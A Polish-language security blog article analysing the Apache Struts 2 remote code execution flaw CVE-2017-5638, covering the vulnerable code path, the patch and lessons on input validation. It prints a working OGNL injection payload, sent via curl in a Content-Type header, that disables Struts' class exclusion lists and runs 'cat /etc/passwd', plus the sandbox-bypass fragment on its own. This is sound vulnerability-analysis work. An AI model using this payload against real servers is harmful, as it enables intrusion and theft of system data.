hamburger

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Podejrzany SMS prześlij na nr 508 700 900

Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl
@CERT_OPL

Geneza Podatności – CVE-2017-5638 – Apache Struts 2 RCE

Na początku 2017 roku opublikowano informacje o groźnej podatności w bardzo popularnym pakiecie Apache Struts. Pozwala ona na zdalne wykonanie kodu na serwerze, na którym działa aplikacja (RCE). O wystąpieniu podatności (CVE-2017-5638) poinformowano 6 marca. Tego samego dnia udostępniono zaktualizowaną wersję biblioteki, która eliminuje błąd. Przed Wami kolejna analiza autorstwa Grzegorza Siewruka.

To ważne, by pamiętać o aktualizowaniu naszych rozwiązań do najnowszych wersji wykorzystywanych zależności oraz dokładnym czytaniu biuletynów bezpieczeństwa. Boleśnie przekonała się o tym firma Equifax. W wyniku wykorzystania tej podatności padła ona ofiarą ataku, tracąc dane ponad 143 milionów użytkowników! Wybrałem jednak ten błąd bezpieczeństwa do analizy nie tylko z tego powodu. Popularność biblioteki apache struts (podobnie jak w przypadku Log4j) spowodowała wyraźne poruszenie wśród programistów z uwagi na zakres jej wykorzystywania. Ciężko dotrzeć do wiarygodnej liczby aplikacji sieciowych, opartych na tym frameworku. Powiedzenie o dziesiątkach milionów nie wydaje się jednak być przesadą.

W czym tkwi problem?

Na stronie nvd.nist.gov możemy przeczytać, że parser Jakarta Multipart w bibliotece Apache Struts 2 (wersje 2.3.x przed 2.3.32 oraz 2.5.x przed 2.5.10.1), niewłaściwie obsługuje wyjątki oraz treść komunikatu błędu, generowanego podczas próby przesyłania pliku. To umożliwia atakującemu wstrzyknięcie komend przez odpowiednie przygotowanie nagłówków, takich jak Content-Type, Content-Disposition lub Content-Length.

W praktyce, przygotowanie żądania HTTP, które wykorzystuje podatność, wygląda w taki sposób:

curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action

Odpowiednie przygotowanie nagłówka Content-Type, by zawierał (oprócz standardowego ‘multipart/form-data’, co jest oczekiwanym nagłówkiem dla żądań zawierających przesyłany plik) dodatkowe instrukcje mające na celu wykonanie komendy cat /etc/passwd, stanowi poważne zagrożenie. Co to za payload? Jest to składnia używana w Object-Graph Navigation Language (OGNL). Służy do wypełniania różnego rodzaju szablonów, takich jak strony HTML, czy zawartości plików o stałej strukturze. Dzięki OGNL jesteśmy w stanie odwoływać się do danych, wywoływać konkretne metody lub manipulować obiektami wewnątrz grafów obiektów. Podobnie jak w przypadku problemu z JNDI w Log4shell, samo używanie OGNL w rozwiązaniach nie jest z założenia złe czy groźne. Pod warunkiem przestrzegania prostych zasad! Wyrażenie musi składać się wyłącznie z instrukcji przygotowanych przez nas. Problem pojawia się, gdy w OGNL zostaną wprowadzone niezweryfikowane, dowolne instrukcje, pochodzące z niezaufanego źródła.

Kilka słów o samym payloadzie zostanie umieszczonych na końcu tego artykułu. Zanim do tego dojdziemy, warto omówić jak doszło do tego, że atakujący, poprzez wstrzyknięcie wyrażenia OGNL do nagłówka (takiego jak Content-Type) byli w stanie zdalnie wykonać kod na serwerze.

Analiza możliwości wstrzyknięcia OGNL do nagłówka

Apache Struts 2 to framework, implementujący całą gamę funkcjonalności, umożliwiających realizację logiki MVC (Model View Controller). Jedną z podstawowych funkcji, które musi oferować, jest możliwość przesyłania plików przez użytkowników na serwer, na przykład, by umożliwić ustawienie zdjęcia profilowego. Za realizację tej logiki w pierwszej kolejności odpowiada plik core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java, którego nazwa może być znana z opisu podatności w bazie CVE. Jest to rodzaj “wrappera” dla standardowej biblioteki Apache Commons Fileupload. Wrapper, czyli mechanizm, który opierając się na logice standardowej biblioteki, opakowuje ją w nowe funkcjonalności, czasami nadpisując niektóre z jej metod, aby lepiej realizować określone zadania. Na tym etapie nie będę zagłębiał się w kod. Ważne, by zapamiętać, że w momencie, gdy JakartaMultiPartRequest.java otrzymuje żądanie wyglądające jak próba przesłania pliku, parsuje to żądanie i umieszcza w odpowiednich polach informacje o błędach.

W omawianym przypadku taki błąd został wykryty i zapisany w odpowiednim obiekcie, by można było go później obsłużyć. Pole związane z domyślną treścią wyjątku zawiera informację o tym, że nagłówek Content-Type ma niewłaściwy format i jego wartość to %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?.....

W momencie posiadania sparsowanego żądania HTTP, które zostało opakowane w klasę MultiPartRequestWrapper (w operacji powyżej), uruchamiany jest interceptor, który jeszcze dodatkowo ma za zadanie przetworzyć żądanie zanim te trafi docelowo do funkcji, która ma wykonać konkretne akcje na podstawie konkretnych pól. Funkcja intercept w pliku core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java wyglądała tak:

FileUploadInterceptor.java dostępny w wersji 2.5.10

Pierwszy warunek w linii 242 nie jest spełniony (wiadomo, że mamy do czynienia z żądaniem, które zostało opakowane), więc realizacja logiki jest kontynuowana. Kolejnym interesującym punktem jest linia 262, która sprawdza, czy podczas opakowywania obiektu wykryto błędy (wiemy, że tak jest). Co się wówczas dzieje? Do procesu weryfikacji dodawany jest element reprezentujący błąd za pomocą LocalizedTextUtil.findText. Warto zauważyć, że w komunikacie błędu umieszczonym przez wrappera znajduje się ładunek OGNL przygotowany przez użytkownika.

Następnie wykonywane są operacje, przygotowujące komunikat błędu w taki sposób, by jasno informowały o zaistniałej sytuacji. Pamiętajmy, że Apache Struts 2 to zaawansowany framework implementujący całą gamę różnych funkcjonalności. W celu optymalizacji i uproszczenia takich systemów, funkcje przygotowujące komunikaty różnego rodzaju są parametryzowane i uogólniane. Dzięki temu unikamy powtarzania konkretnych instrukcji. W tym przypadku zaimplementowano weryfikacje dotyczące sposobu przygotowania treści komunikatu dla wielu różnych typów wyjątków. Zabrakło jednak obsługi dla wyjątku typu struts.messages.upload.error.InvalidContentTypeException, który został zasygnalizowany przez wrappera. W scenariuszu, gdy wszystkie weryfikacje zawiodą, komunikat błędu generowany jest przez mechanizm domyślny. Ten, by lepiej zrozumieć treść komunikatu i odpowiednio przygotować wiadomość, wykorzystuje funkcję TextParseUtil.translateVariables.

core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java

I tutaj dochodzi do wykonania wyrażenia OGNL, które na samym początku znalazło się w komunikacje błędu.

Analiza poprawki

Zgłoszony i przeanalizowany problem został poprawiony bardzo szybko. Co więcej, poprawka, która uniemożliwiała wykorzystanie błędu, okazała się bardzo prosta:

core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java wersja 2.5.10.1

Najbardziej istotne zmiany zaczynają się od linii 260 w pliku core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java. Za co odpowiadają te zmiany? W zasadzie odchodzą od wykorzystania LocalizedTextUtil.findText na rzecz innych metod, nie wykonujących zapytań OGNL.

Czy rozwiązanie to działa? Tak. Czy jest dobre? Nie sądzę. Nie został rozwiązany problem zasadniczy. Fakt, iż niezaufane dane trafiają do aplikacji, są wczytywane do jednego z obiektów, a następnie na obiekcie z niezaufanymi danymi wykonywane są operacje. Dane w formacie, który dla nas jest nieakceptowalny, nigdy nie powinny trafić do kontekstu aplikacji! Tym sposobem można się ochronić przed wieloma atakami, nie myśląc nawet o bezpieczeństwie.

Czy weryfikacja danych przetwarzanych przez OGNL powinna być wykonywana wszędzie, na przykład przed wykonaniem żądania w metodzie TextParseUtil.translateVariables? Często specjaliści bezpieczeństwa, z którymi rozmawiam podczas weryfikacji kodu, uważają, że tego typu weryfikacja powinna być realizowana wszędzie i jak najczęściej, zgodnie z podejściem Zero Trust. Ja uważam, że niekoniecznie. Jeśli bowiem skoncentrujemy się na cyklu życia obiektów w naszej aplikacji i poświęcimy wystarczająco dużo uwagi, by nigdy nie dopuścić do sytuacji, gdy w kontekście działania aplikacji istnieje obiekt z nieprawidłowym stanem lub nieakceptowalnymi wartościami parametrów, wówczas przetwarzanie tego typu obiektów wewnątrz logiki aplikacji będzie całkowicie bezpieczne. Rozpraszanie mechanizmów weryfikacji między komponentami rozmywa odpowiedzialność! Wtedy nigdy nie wiadomo, która metoda co zweryfikuje.

Weryfikacja payloadu

Obiecałem, że na końcu napiszę jeszcze trochę o samym payloadzie. Jest on ciekawy bowiem w sytuacji, gdy wczytamy się w treść wykorzystywanym w nim funkcji i klas, widzimy interesujące rzeczy. A może skróćmy ten payload (przecież ten z początku artykułu jest strasznie długi!) do czegoś takiego?

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Usunąłem tutaj połowę zawartości – druga część jest istotna, ponieważ uruchamia ProcessBuilder, który ma za zadanie wykonywać operacje w warstwie systemu operacyjnego, i tutaj nie ma zbyt wiele miejsca na optymalizację. Czy to zadziała? Nie. Mechanizm realizujący zapytania OGNL posiada funkcjonalności ochronne, dzięki którym możemy zdefiniować, które klasy nie mogą być uruchamiane za pomocą OGNL. Te klasy znajdują się w pliku:

core/src/main/resources/struts-default.xml

widzimy, że klasa java.lang w której znajduje się ProcessBuilder znajduje się na liście wykluczeń, w związku z czym nie da się jej wykorzystać. Ale…

Ale za pomocą OGNL jesteśmy w stanie nadpisać tę listę, inną na przykład pustą listą przez co wyłączymy ten mechanizm obronny:

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

Podsumowanie

  • Obiekt po stworzeniu w aplikacji powinien być traktowany jako zaufany, co oznacza, że wszystkie jego parametry powinny być szczegółowo weryfikowane. Czy potrzebujemy wiedzieć, jaki jest nagłówek Content-Type w sytuacji niepowodzenia, aby umieścić go w komunikacie błędu? Nawet jeśli tak, to czy zgodnie ze wszystkimi standardami, Content-Type może zawierać znaki takie jak # @ . ( )?
  • Włączaj i konfiguruj funkcje zabezpieczeń, które są udostępniane przez framework, w którym pracujesz, ale nie ufaj ślepo, że dzięki tej warstwie będziesz bezpieczny. Zabezpieczenia należy budować warstwowo i nigdy nie polegać na tylko jednym mechanizmie.

Jeśli dotarliście tutaj i jesteście zainteresowani jeszcze bardziej szczegółową analizą tego przypadku, zachęcam do zapoznania się z materiałami dostępnymi pod tym linkiem – duża część powyższego artykułu opiera się na analizie wykonanej przez AON Cyber Labs.

Grzegorz Siewruk


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Zobacz także